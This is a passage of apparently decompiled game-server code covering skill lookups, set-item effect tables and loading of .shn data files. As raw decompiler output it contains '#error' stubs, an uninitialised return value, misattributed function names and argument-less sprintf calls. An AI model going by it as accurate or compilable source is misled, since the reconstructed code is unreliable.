--funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); __security_check_cookie(v8); } //----- (004CE060) -------------------------------------------------------- #error "4CE060: undefined or illegal type '#434' (funcsize=80)" //----- (004CE1A0) -------------------------------------------------------- #error "4CE1A0: undefined or illegal type '#325' (funcsize=238)" //----- (004CE4F0) -------------------------------------------------------- void __thiscall SkillDataBox::sdb_Home(SkillDataBox *this, int *sub) { *sub = -1; } //----- (004CE500) -------------------------------------------------------- char __thiscall SkillDataBox::sdb_Next(SkillDataBox *this, int *sub) { int v2; // edx@1 v2 = *sub + 1; *sub = v2; return v2 < (signed int)this->sdb_MaxValid; } //----- (004CE520) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::sdb_Get(SkillDataBox *this, int *sub) { return &this->sdb_ValidArray[*sub]; } //----- (004CE540) -------------------------------------------------------- unsigned int __thiscall SetItemData::SkillEffect::operator__(SetItemData::SkillEffect *this, SetIndex index) { unsigned int result; // eax@2 if ( (signed int)index >= 17 ) result = 1000; else result = this->se_Argument[index]; return result; } //----- (004CE560) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_Clear(SetItemData::SetItemAbstateEffect *this) { unsigned int v1; // eax@1 v1 = 0; do { this->siae_Buffer[v1].Index = 0; this->siae_Buffer[v1++].Argument_Base1000 = 1000; } while ( v1 < 4 ); } //----- (004CE590) -------------------------------------------------------- unsigned __int16 __thiscall SetItemData::SetItemAbstateEffect::siae_GetArgument_Base1000(SetItemData::SetItemAbstateEffect *this, SetIndex idx) { unsigned int v2; // eax@1 v2 = 0; while ( this->siae_Buffer[v2].Index != idx ) { ++v2; if ( v2 >= 4 ) return 1000; } return this->siae_Buffer[v2].Argument_Base1000; } //----- (004CE5B0) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(SetItemData::SetItemAbstateEffect *this, SetIndex idx) { unsigned int v2; // edi@2 int v3; // eax@3 SetIndex v4; // edx@4 if ( (signed int)idx < 17 ) { v2 = setitemskilleffect.se_Argument[idx]; if ( v2 != 1000 ) { v3 = 0; do { v4 = this->siae_Buffer[v3].Index; if ( v4 == idx ) break; if ( !v4 ) break; ++v3; } while ( (unsigned int)v3 < 4 ); if ( (unsigned int)v3 < 4 ) { this->siae_Buffer[v3].Index = idx; this->siae_Buffer[v3].Argument_Base1000 = v2; } else { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore : Too many effect", v3); } } } } //----- (004CE610) -------------------------------------------------------- void __thiscall SetItemData::EffectDescription::EffectDescription(SetItemData::EffectDescription *this) { *(_QWORD *)&this->index.n8_name[24] = 0i64; *(_QWORD *)&this->index.n8_name[16] = 0i64; *(_QWORD *)&this->index.n8_name[8] = 0i64; *(_QWORD *)&this->index.n8_name[0] = 0i64; this->skilllist = 0; this->skillnumber = 0; } //----- (004CE640) -------------------------------------------------------- void __thiscall SetItemData::EffectDescription::_EffectDescription(SetItemData::EffectDescription *this) { if ( this->skilllist ) operator delete__(this->skilllist); } //----- (004CE650) -------------------------------------------------------- int __cdecl MobAttackSequence::AttackElement4Mob::ae4m_Compare(const void *a, const void *b) { return *(_WORD *)a - *(_WORD *)b; } //----- (004CE670) -------------------------------------------------------- char __thiscall SetItemData::EffectDescription::ed_SkillIndexTest(SetItemData::EffectDescription *this, SkillDataBox::SkillDataIndex *sdi, char *skillgroup, char *from, char *to) { const char *v5; // ST04_4@2 const char *v6; // ST10_4@3 char *v7; // ecx@6 char *v8; // edx@6 char v9; // al@7 char v10; // dl@8 unsigned int v11; // eax@9 void *v12; // edi@9 char v13; // cl@10 unsigned int v14; // eax@11 void *v15; // edi@11 char v16; // cl@12 char *v17; // eax@14 const char *v18; // ST04_4@14 const char *v19; // ST10_4@18 const char *v20; // ST10_4@22 const char *v21; // ST10_4@26 char result; // al@32 __int64 nm; // [sp+0h] [bp-1F4h]@2 __int64 v24; // [sp+8h] [bp-1ECh]@2 __int64 v25; // [sp+10h] [bp-1E4h]@2 __int64 v26; // [sp+18h] [bp-1DCh]@2 __int64 v27; // [sp+20h] [bp-1D4h]@18 __int64 v28; // [sp+28h] [bp-1CCh]@18 __int64 v29; // [sp+30h] [bp-1C4h]@18 __int64 v30; // [sp+38h] [bp-1BCh]@18 __int64 v31; // [sp+40h] [bp-1B4h]@14 __int64 v32; // [sp+48h] [bp-1ACh]@14 __int64 v33; // [sp+50h] [bp-1A4h]@14 __int64 v34; // [sp+58h] [bp-19Ch]@14 __int64 Dest; // [sp+60h] [bp-194h]@14 __int64 v36; // [sp+68h] [bp-18Ch]@14 __int64 v37; // [sp+70h] [bp-184h]@14 __int64 v38; // [sp+78h] [bp-17Ch]@14 Name8 map; // [sp+80h] [bp-174h]@2 MapSubString mss; // [sp+A0h] [bp-154h]@9 char mapfrom[64]; // [sp+164h] [bp-90h]@7 char mapto[64]; // [sp+1A4h] [bp-50h]@8 unsigned int v43; // [sp+1E4h] [bp-10h]@32 int v44; // [sp+1F0h] [bp-4h]@13 if ( *from == 45 ) { *(_QWORD *)&map.n8_name[24] = 0i64; *(_QWORD *)&map.n8_name[16] = 0i64; *(_QWORD *)&map.n8_name[8] = 0i64; *(_QWORD *)&map.n8_name[0] = 0i64; strncpy(map.n8_name, skillgroup, 0x20u); v5 = sdi->sdi_Activ->InxName; v26 = 0i64; v25 = 0i64; v24 = 0i64; nm = 0i64; strncpy((char *)&nm, v5, 0x20u); if ( !Name8::operator__(&map, (Name8 *)&nm) ) { v6 = sdi->sdi_Activ->SkillClassifierA; v26 = 0i64; v25 = 0i64; v24 = 0i64; nm = 0i64; strncpy((char *)&nm, v6, 0x20u); if ( !Name8::operator__(&map, (Name8 *)&nm) ) { Name8::Name8((Name8 *)&nm, sdi->sdi_Activ->SkillClassifierB); if ( !Name8::operator__(&map, (Name8 *)&nm) ) { Name8::Name8((Name8 *)&nm, sdi->sdi_Activ->SkillClassifierC); Name8::operator__(&map, (Name8 *)&nm); } } } } else { v7 = skillgroup; v8 = skillgroup; do { v9 = *v8; v8[mapfrom - skillgroup] = *v8; ++v8; } while ( v9 ); do { v10 = *v7; v7[mapto - skillgroup] = *v7; ++v7; } while ( v10 ); v11 = strlen(from) + 1; v12 = (char *)&mss.mss_StrLen + 3; do { v13 = *((_BYTE *)v12 + 1); v12 = (char *)v12 + 1; } while ( v13 ); memcpy(v12, from, v11); v14 = strlen(to) + 1; v15 = &mapfrom[63]; do { v16 = *((_BYTE *)v15 + 1); v15 = (char *)v15 + 1; } while ( v16 ); memcpy(v15, to, v14); MapSubString::MapSubString(&mss, mapfrom, mapto); v44 = 0; MapSubString::mss_Home(&mss); if ( MapSubString::mss_Next(&mss) ) { while ( 1 ) { v17 = MapSubString::mss_Get(&mss); v38 = 0i64; v37 = 0i64; v36 = 0i64; Dest = 0i64; strncpy((char *)&Dest, v17, 0x20u); v18 = sdi->sdi_Activ->InxName; v34 = 0i64; v33 = 0i64; v32 = 0i64; v31 = 0i64; strncpy((char *)&v31, v18, 0x20u); if ( Dest == v31 ) { if ( v36 == v32 && v37 == v33 && v38 == v34 ) break; } v19 = sdi->sdi_Activ->SkillClassifierA; v30 = 0i64; v29 = 0i64; v28 = 0i64; v27 = 0i64; strncpy((char *)&v27, v19, 0x20u); if ( Dest == v27 ) { if ( v36 == v28 && v37 == v29 && v38 == v30 ) break; } v20 = sdi->sdi_Activ->SkillClassifierB; v26 = 0i64; v25 = 0i64; v24 = 0i64; nm = 0i64; strncpy((char *)&nm, v20, 0x20u); if ( Dest == nm ) { if ( v36 == v24 && v37 == v25 && v38 == v26 ) break; } v21 = sdi->sdi_Activ->SkillClassifierC; *(_QWORD *)&map.n8_name[24] = 0i64; *(_QWORD *)&map.n8_name[16] = 0i64; *(_QWORD *)&map.n8_name[8] = 0i64; *(_QWORD *)&map.n8_name[0] = 0i64; strncpy(map.n8_name, v21, 0x20u); if ( Dest == *(_QWORD *)&map ) { if ( v36 == *(_QWORD *)&map.n8_name[8] && v37 == *(_QWORD *)&map.n8_name[16] && v38 == *(_QWORD *)&map.n8_name[24] ) break; } if ( !MapSubString::mss_Next(&mss) ) goto LABEL_31; } v44 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mss); } else { LABEL_31: v44 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mss); } } __security_check_cookie(v43); return result; } //----- (004CEC30) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::SetItemEffectList(SetItemData::SetItemEffectList *this) { _eh_vector_constructor_iterator_( this, 0x30u, 1024, (void (__thiscall *)(void *))SetItemData::EffectDescription::EffectDescription, (void (__thiscall *)(void *))SetItemData::EffectDescription::_EffectDescription); } //----- (004CEC50) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::_SetItemEffectList(SetItemData::SetItemEffectList *this) { _eh_vector_destructor_iterator_( this, 0x30u, 1024, (void (__thiscall *)(void *))SetItemData::EffectDescription::_EffectDescription); } //----- (004CEC70) -------------------------------------------------------- unsigned __int16 __thiscall SetItemData::SetItemEffectList::siel_Index2RegistNumber(SetItemData::SetItemEffectList *this, Name8 *index) { int v2; // ebx@1 int v3; // eax@1 int v4; // edx@2 int v5; // edx@3 int v6; // ebp@3 char *v7; // edx@3 v2 = this->siel_MaxEffect; v3 = 0; if ( v2 <= 0 ) { LABEL_12: LOWORD(v3) = -1; } else { v4 = 0; while ( 1 ) { v5 = v4; v6 = *(_DWORD *)&this->siel_SetItemEffectList[v5].index.n8_name[0]; v7 = (char *)this + v5 * 48; if ( *(_DWORD *)&index->n8_name[0] == v6 ) { if ( *(_DWORD *)&index->n8_name[4] == *((_DWORD *)v7 + 1) && *(_DWORD *)&index->n8_name[8] == *((_DWORD *)v7 + 2) && *(_DWORD *)&index->n8_name[12] == *((_DWORD *)v7 + 3) && *(_DWORD *)&index->n8_name[16] == *((_DWORD *)v7 + 4) && *(_DWORD *)&index->n8_name[20] == *((_DWORD *)v7 + 5) && *(_DWORD *)&index->n8_name[24] == *((_DWORD *)v7 + 6) && *(_DWORD *)&index->n8_name[28] == *((_DWORD *)v7 + 7) ) break; } ++v3; v4 = (unsigned __int16)v3; if ( (unsigned __int16)v3 >= v2 ) goto LABEL_12; } } return v3; } //----- (004CECF0) -------------------------------------------------------- void __thiscall SetItemData::EffectByPiece::EffectByPiece(SetItemData::EffectByPiece *this) { *(_QWORD *)&this->ebp_Index.n8_name[24] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[16] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[8] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[0] = 0i64; *(_DWORD *)this->ebp_EffectArray[0] = -1; *(_DWORD *)&this->ebp_EffectArray[0][2] = -1; *(_DWORD *)this->ebp_EffectArray[1] = -1; *(_DWORD *)&this->ebp_EffectArray[1][2] = -1; *(_DWORD *)this->ebp_EffectArray[2] = -1; *(_DWORD *)&this->ebp_EffectArray[2][2] = -1; *(_DWORD *)this->ebp_EffectArray[3] = -1; *(_DWORD *)&this->ebp_EffectArray[3][2] = -1; *(_DWORD *)this->ebp_EffectArray[4] = -1; *(_DWORD *)&this->ebp_EffectArray[4][2] = -1; *(_DWORD *)this->ebp_EffectArray[5] = -1; *(_DWORD *)&this->ebp_EffectArray[5][2] = -1; } //----- (004CED40) -------------------------------------------------------- void __thiscall SetItemData::EffectByPiece::ebp_Append(SetItemData::EffectByPiece *this, SetItem *si) { SetItemData::EffectByPiece *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // edi@4 signed int v5; // eax@4 int v6; // ecx@4 int v7; // eax@7 int v8; // edx@7 int v9; // ecx@7 int v10; // eax@7 int v11; // edx@7 int v12; // ecx@7 int v13; // edx@7 Name8 name; // [sp+14h] [bp-A4h]@1 char buf[128]; // [sp+34h] [bp-84h]@7 v2 = this; *(_QWORD *)&name.n8_name[24] = 0i64; *(_QWORD *)&name.n8_name[16] = 0i64; *(_QWORD *)&name.n8_name[8] = 0i64; *(_QWORD *)&name.n8_name[0] = 0i64; strncpy(name.n8_name, si->Effect, 0x20u); v3 = SetItemData::SetItemEffectList::siel_Index2RegistNumber(&setitemeffectlist, &name); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemData::EffectByPiece::ebp_Append : Effect not found", si->Effect); ShineExit("SetItemData::EffectByPiece::ebp_Append"); } v4 = si->Piece; v5 = 0; v6 = (int)v2->ebp_EffectArray[v4]; while ( *(_WORD *)v6 != -1 ) { ++v5; v6 += 2; if ( v5 >= 4 ) { v7 = *(_DWORD *)&v2->ebp_Index.n8_name[8]; v8 = *(_DWORD *)&v2->ebp_Index.n8_name[4]; *(_DWORD *)buf = *(_DWORD *)&v2->ebp_Index.n8_name[0]; v9 = *(_DWORD *)&v2->ebp_Index.n8_name[12]; *(_DWORD *)&buf[8] = v7; v10 = *(_DWORD *)&v2->ebp_Index.n8_name[20]; *(_DWORD *)&buf[4] = v8; v11 = *(_DWORD *)&v2->ebp_Index.n8_name[16]; *(_DWORD *)&buf[12] = v9; v12 = *(_DWORD *)&v2->ebp_Index.n8_name[24]; *(_DWORD *)&buf[20] = v10; *(_DWORD *)&buf[16] = v11; v13 = *(_DWORD *)&v2->ebp_Index.n8_name[28]; *(_DWORD *)&buf[24] = v12; *(_DWORD *)&buf[28] = v13; buf[32] = 0; AssertClass::ac_AssertFail(&shineassert, "SetItemData::EffectByPiece::ebp_Append : Too many effect in piece", buf); ShineExit("SetItemData::EffectByPiece::ebp_Append"); } } *(_WORD *)&v2->ebp_Index.n8_name[2 * (v5 + 4 * v4 + 16)] = v3; } //----- (004CEE80) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::SetItemClassifier(SetItemData::SetItemClassifier *this) { _eh_vector_constructor_iterator_( this, 0x50u, 256, (void (__thiscall *)(void *))SetItemData::EffectByPiece::EffectByPiece, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004CEEA0) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::_SetItemClassifier(SetItemData::SetItemClassifier *this) { _eh_vector_destructor_iterator_( this, 0x50u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004CEEC0) -------------------------------------------------------- unsigned __int16 __thiscall SetItemData::SetItemClassifier::sic_Index2RegistNumber(SetItemData::SetItemClassifier *this, Name8 *index) { int v2; // ebx@1 int v3; // eax@1 int v4; // edx@2 int v5; // edx@3 int v6; // ebp@3 char *v7; // edx@3 v2 = this->sic_MaxType; v3 = 0; if ( v2 <= 0 ) { LABEL_12: LOWORD(v3) = -1; } else { v4 = 0; while ( 1 ) { v5 = v4; v6 = *(_DWORD *)&this->sic_SetItemStruct[v5].ebp_Index.n8_name[0]; v7 = (char *)this + v5 * 80; if ( *(_DWORD *)&index->n8_name[0] == v6 ) { if ( *(_DWORD *)&index->n8_name[4] == *((_DWORD *)v7 + 1) && *(_DWORD *)&index->n8_name[8] == *((_DWORD *)v7 + 2) && *(_DWORD *)&index->n8_name[12] == *((_DWORD *)v7 + 3) && *(_DWORD *)&index->n8_name[16] == *((_DWORD *)v7 + 4) && *(_DWORD *)&index->n8_name[20] == *((_DWORD *)v7 + 5) && *(_DWORD *)&index->n8_name[24] == *((_DWORD *)v7 + 6) && *(_DWORD *)&index->n8_name[28] == *((_DWORD *)v7 + 7) ) break; } ++v3; v4 = (unsigned __int16)v3; if ( (unsigned __int16)v3 >= v2 ) goto LABEL_12; } } return v3; } //----- (004CEF40) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkill(int this) { return *(_WORD *)(this + 92254); } //----- (004CEF50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkillClear(int this) { *(_WORD *)(this + 92254) = -1; } //----- (004CEF60) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectRestore(SetItemData::SetItemAbstateEffect *this, ABSTATEREADBLOCK *str) { this->siae_Buffer[0].Index = str->setitem[0].Index; this->siae_Buffer[0].Argument_Base1000 = str->setitem[0].Value; this->siae_Buffer[1].Index = str->setitem[1].Index; this->siae_Buffer[1].Argument_Base1000 = str->setitem[1].Value; this->siae_Buffer[2].Index = str->setitem[2].Index; this->siae_Buffer[2].Argument_Base1000 = str->setitem[2].Value; this->siae_Buffer[3].Index = str->setitem[3].Index; this->siae_Buffer[3].Argument_Base1000 = str->setitem[3].Value; } //----- (004CEFB0) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect(SetItemData::SetItemAbstateEffect *this, ABSTATEREADBLOCK *str) { str->setitem[0].Index = LOWORD(this->siae_Buffer[0].Index); str->setitem[0].Value = this->siae_Buffer[0].Argument_Base1000; str->setitem[1].Index = LOWORD(this->siae_Buffer[1].Index); str->setitem[1].Value = this->siae_Buffer[1].Argument_Base1000; str->setitem[2].Index = LOWORD(this->siae_Buffer[2].Index); str->setitem[2].Value = this->siae_Buffer[2].Argument_Base1000; str->setitem[3].Index = LOWORD(this->siae_Buffer[3].Index); str->setitem[3].Value = this->siae_Buffer[3].Argument_Base1000; } //----- (004CF000) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x28Cu, 0xF1u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004CF0B0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x5Au, 0x41u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004CF160) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(SetItemData::SetItemAbstateEffect *this) { unsigned int v1; // edx@1 v1 = 0; do { this->siae_Buffer[v1].Index = 0; this->siae_Buffer[v1++].Argument_Base1000 = 1000; } while ( v1 < 4 ); } //----- (004CF190) -------------------------------------------------------- void __thiscall SetItemData::EffectDescription::ed_Store(SetItemData::EffectDescription *this, SetItemEffect *effect) { SetItemData::EffectDescription *v2; // ebx@1 int v3; // edi@1 signed int v4; // ebp@5 char *v5; // edi@8 int v6; // eax@9 int v7; // eax@12 void *v8; // eax@15 signed int sub; // [sp+Ch] [bp-20Ch]@5 __int16 tmpbuffer[256]; // [sp+14h] [bp-204h]@12 v2 = this; v3 = 0; *(_QWORD *)&this->index.n8_name[24] = 0i64; *(_QWORD *)&this->index.n8_name[16] = 0i64; *(_QWORD *)&this->index.n8_name[8] = 0i64; *(_QWORD *)&this->index.n8_name[0] = 0i64; strncpy(this->index.n8_name, effect->Effect, 0x20u); v2->seteffect = effect->Index; v2->setargument = effect->Argument; v2->skillnumber = 0; if ( effect->SkillGroup[0] == 45 ) { if ( v2->skilllist ) operator delete__(v2->skilllist); v2->skilllist = 0; v2->skillnumber = 0; } else { sub = -1; v4 = -368; while ( 1 ) { v4 += 368; ++sub; if ( sub >= (signed int)skilldatabox.sdb_MaxValid ) break; v5 = (char *)skilldatabox.sdb_ValidArray + v4; if ( SetItemData::EffectDescription::ed_SkillIndexTest( v2, (SkillDataBox::SkillDataIndex *)((char *)skilldatabox.sdb_ValidArray + v4), effect->SkillGroup, effect->From, effect->To) ) { v6 = v2->skillnumber; if ( (unsigned int)v6 >= 0x100 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemData::EffectDescription::ed_Store : TempBuffer full", v6); ShineExit("SetItemData::EffectDescription::ed_Store"); } v7 = v2->skillnumber; tmpbuffer[v7] = **((_WORD **)v5 + 1); v2->skillnumber = v7 + 1; } v3 = 0; } if ( v2->skillnumber <= v3 ) AssertClass::ac_AssertFail( &shineassert, "SetItemData::EffectDescription::ed_Store : Effect with no skill", effect->Effect); v8 = operator new__(2 * v2->skillnumber); v2->skilllist = (unsigned __int16 *)v8; if ( (v8 != (void *)v3) == v3 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::EffectDescription::ed_Store : Memory alloc fail", v2->skillnumber); ShineExit("SetItemData::EffectDescription::ed_Store"); } memcpy(v2->skilllist, tmpbuffer, 2 * v2->skillnumber); qsort(v2->skilllist, v2->skillnumber, 2u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } } //----- (004CF360) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::siel_Load(SetItemData::SetItemEffectList *this) { SetItemData::SetItemEffectList *v1; // esi@1 int v2; // ebx@1 unsigned int v3; // eax@4 const char *v4; // ebx@8 bool v5; // sf@13 unsigned __int8 v6; // of@13 unsigned int l; // [sp+0h] [bp-170h]@4 unsigned int totalnum; // [sp+4h] [bp-16Ch]@1 Name8 index; // [sp+8h] [bp-168h]@10 BinaryDataBox setitemeffect; // [sp+28h] [bp-148h]@1 unsigned int cookie; // [sp+15Ch] [bp-14h]@14 int v12; // [sp+16Ch] [bp-4h]@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&setitemeffect.baseclass_0); memset(&setitemeffect.bdb_defaultblock, 0, 0xF0u); BYTE3(setitemeffect.bdb_defaultblock.Argument) = 0; v12 = 0; BinaryDataBox::bdb_ReadData(&setitemeffect, "../9Data/Shine/SetItemEffect.shn"); v2 = setitemeffect.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; totalnum = setitemeffect.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( v2 >= 1024 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemData::SetItemEffectList::siel_Load : Too many totalnum", 1024, v2); ShineExit("SetItemData::SetItemEffectList::siel_Load"); } v3 = 0; v1->siel_MaxEffect = 0; l = 0; if ( v2 > 0 ) { while ( 1 ) { v4 = (const char *)(v3 < setitemeffect.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &setitemeffect.baseclass_0.baseclass_0, v3) : &setitemeffect.bdb_defaultblock); *(_QWORD *)&index.n8_name[24] = 0i64; *(_QWORD *)&index.n8_name[16] = 0i64; *(_QWORD *)&index.n8_name[8] = 0i64; *(_QWORD *)&index.n8_name[0] = 0i64; strncpy(index.n8_name, v4, 0x20u); if ( SetItemData::SetItemEffectList::siel_Index2RegistNumber(v1, &index) != -1 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemEffectList::siel_Load : EffectIndex duplicate", v4); ShineExit("SetItemData::SetItemEffectList::siel_Load"); } SetItemData::EffectDescription::ed_Store( (SetItemData::EffectDescription *)v1 + v1->siel_MaxEffect, (SetItemEffect *)v4); v6 = __OFSUB__(l + 1, totalnum); v5 = ((l + 1 - totalnum) & 0x80000000u) != 0; ++v1->siel_MaxEffect; ++l; if ( !(v5 ^ v6) ) break; v3 = l; } } v12 = -1; CCharacterTitleData::_CCharacterTitleData(&setitemeffect.baseclass_0); __security_check_cookie(cookie); } //----- (004CF510) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::sic_Load(SetItemData::SetItemClassifier *this) { SetItemData::SetItemClassifier *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // ebp@1 void *v4; // ebx@3 unsigned __int16 v5; // ax@5 int v6; // eax@9 unsigned __int16 v7; // bp@13 ItemDataBox::ItemDataBoxIndex *v8; // ebx@13 const char *v9; // eax@16 unsigned __int16 v10; // bp@17 int iter; // [sp+0h] [bp-B4h]@12 Name8 setitemindex; // [sp+4h] [bp-B0h]@5 BinaryDataBox setitemtable; // [sp+24h] [bp-90h]@1 unsigned int v14; // [sp+A4h] [bp-10h]@22 int v15; // [sp+B0h] [bp-4h]@1 v1 = this; SetItemData::SetItemEffectList::siel_Load(&setitemeffectlist); CCharacterTitleData::CCharacterTitleData(&setitemtable.baseclass_0); memset(&setitemtable.bdb_defaultblock, 0, 0x40u); setitemtable.bdb_defaultblock.Effect[31] = 0; v15 = 0; BinaryDataBox::bdb_ReadData(&setitemtable, "../9Data/Shine/SetItem.shn"); v2 = setitemtable.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = 0; v1->sic_TotalNumber = v2; v1->sic_MaxType = 0; if ( (signed int)v2 > 0 ) { do { if ( v3 < setitemtable.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v4 = CDataReader::GetRecord(&setitemtable.baseclass_0.baseclass_0, v3); else v4 = &setitemtable.bdb_defaultblock; *(_QWORD *)&setitemindex.n8_name[24] = 0i64; *(_QWORD *)&setitemindex.n8_name[16] = 0i64; *(_QWORD *)&setitemindex.n8_name[8] = 0i64; *(_QWORD *)&setitemindex.n8_name[0] = 0i64; strncpy(setitemindex.n8_name, (const char *)v4, 0x20u); v5 = SetItemData::SetItemClassifier::sic_Index2RegistNumber(v1, &setitemindex); if ( v5 == -1 ) { if ( v1->sic_MaxType >= 256 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemClassifier::sic_Load : Too many set", v1->sic_MaxType); ShineExit("SetItemClassifier::sic_Load"); } v6 = (int)((char *)v1 + 80 * v1->sic_MaxType); *(_QWORD *)v6 = *(_QWORD *)&setitemindex; *(_QWORD *)(v6 + 8) = *(_QWORD *)&setitemindex.n8_name[8]; *(_QWORD *)(v6 + 16) = *(_QWORD *)&setitemindex.n8_name[16]; *(_QWORD *)(v6 + 24) = *(_QWORD *)&setitemindex.n8_name[24]; SetItemData::EffectByPiece::ebp_Append((SetItemData::EffectByPiece *)v1 + v1->sic_MaxType++, (SetItem *)v4); } else { SetItemData::EffectByPiece::ebp_Append((SetItemData::EffectByPiece *)v1 + v5, (SetItem *)v4); } ++v3; } while ( (signed int)v3 < v1->sic_TotalNumber ); } ItemDataBox::idb_iter_home(&itemdatabox, (unsigned int *)&iter); do { v7 = ItemDataBox::idb_iter_Get(&itemdatabox, (unsigned int *)&iter); v8 = ItemDataBox::operator__(&itemdatabox, v7); if ( v8 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemClassifier::sic_Load : ItemDataBox::ItemDataBoxIndex Null", v7); ShineExit("SetItemClassifier::sic_Load"); } v9 = v8->data->SetItemIndex; if ( v8->data->SetItemIndex[0] != 45 ) { *(_QWORD *)&setitemindex.n8_name[24] = 0i64; *(_QWORD *)&setitemindex.n8_name[16] = 0i64; *(_QWORD *)&setitemindex.n8_name[8] = 0i64; *(_QWORD *)&setitemindex.n8_name[0] = 0i64; strncpy(setitemindex.n8_name, v9, 0x20u); v10 = SetItemData::SetItemClassifier::sic_Index2RegistNumber(v1, &setitemindex); if ( v10 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemClassifier::sic_Load : SetItem not found", v8->data->SetItemIndex); AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemClassifier::sic_Load : in item", v8->data->InxName); ShineExit("SetItemClassifier::sic_Load"); } v8->SetItemIndex = v10; } } while ( ItemDataBox::idb_iter_next(&itemdatabox, (unsigned int *)&iter) ); v15 = -1; CCharacterTitleData::_CCharacterTitleData(&setitemtable.baseclass_0); __security_check_cookie(v14); } //----- (004CF7F0) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::sic_SetItemDefine(SetItemData::SetItemClassifier *this, SetItemData::PlayerSetEffect *seteffect) { SetItemData::SetItemClassifier *v2; // edi@1 SetItemData::PlayerSetEffect *v3; // esi@1 signed int v4; // ebx@2 signed int v5; // eax@4 int v6; // edi@4 int v7; // ecx@6 bool v8; // zf@11 int v9; // [sp+0h] [bp-20h]@1 signed int v10; // [sp+4h] [bp-1Ch]@1 SetItemData::SetItemClassifier *v11; // [sp+8h] [bp-18h]@1 int seteffecta; // [sp+24h] [bp+4h]@1 v2 = this; v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemClassifier::sic_SetItemDefine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemClassifier::sic_SetItemDefine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = seteffect; seteffect->effectnumber = 0; *(_DWORD *)&seteffect->effectarray[0] = -1; *(_DWORD *)&seteffect->effectarray[2] = -1; *(_DWORD *)&seteffect->effectarray[4] = -1; *(_DWORD *)&seteffect->effectarray[6] = -1; *(_DWORD *)&seteffect->effectarray[8] = -1; seteffecta = 0; v9 = (int)v2->sic_ItemSetPiece; v10 = 256; do { v4 = 1; do { if ( v4 <= *(_BYTE *)v9 ) { v5 = 0; v6 = (int)v11->sic_SetItemStruct[0].ebp_EffectArray[v4 + seteffecta]; while ( *(_WORD *)v6 != -1 ) { v7 = v3->effectnumber; if ( v3->effectnumber >= 0xAu ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemClassifier::sic_SetItemDefine : Too many Effect", v7); break; } v3->effectarray[v7] = *(_WORD *)v6; ++v5; v6 += 2; ++v3->effectnumber; if ( v5 